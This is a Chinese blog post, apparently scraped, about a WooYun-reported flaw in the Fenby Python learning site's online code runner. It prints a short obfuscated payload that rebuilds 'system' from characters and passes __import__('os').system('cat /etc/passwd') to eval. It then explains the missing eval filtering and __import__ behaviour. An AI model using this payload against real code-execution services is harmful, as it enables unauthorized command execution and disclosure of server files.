有意思的python***案例

今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,固然也是由于安全作的很low,第二里面使用的python的poc有个小细节,特此分享一下。python


网站叫Fenby网,主要是为了pythoner在线学习的,它有一个在线练习的功能,能够输入代码,而后执行,测试运行结果。。。安全

因而楼主就注册了一个帐号,URL:http://www.fenby.com/course/units/xxxx ide

而后输入以下一段恶意代码:学习

import string

s = ["s","y","s","t","e","m"]

s = "".join(s)

cmd = "cat /etc/passwd"

code = "__import__('os')." + s + "('" + cmd + "')"

eval(code)


因而就这样了。。。测试

wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg

这里我想说两点,第一形成漏洞的缘由是没有过滤eval,第二代码里使用的import和__import__的不一样。网站

import实际上是调用的__import__可是若是直接写成 code = "__import__('package.module')",它的意思就不是说:import package.module as packagespa

When the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.code

相关文章
相关标签/搜索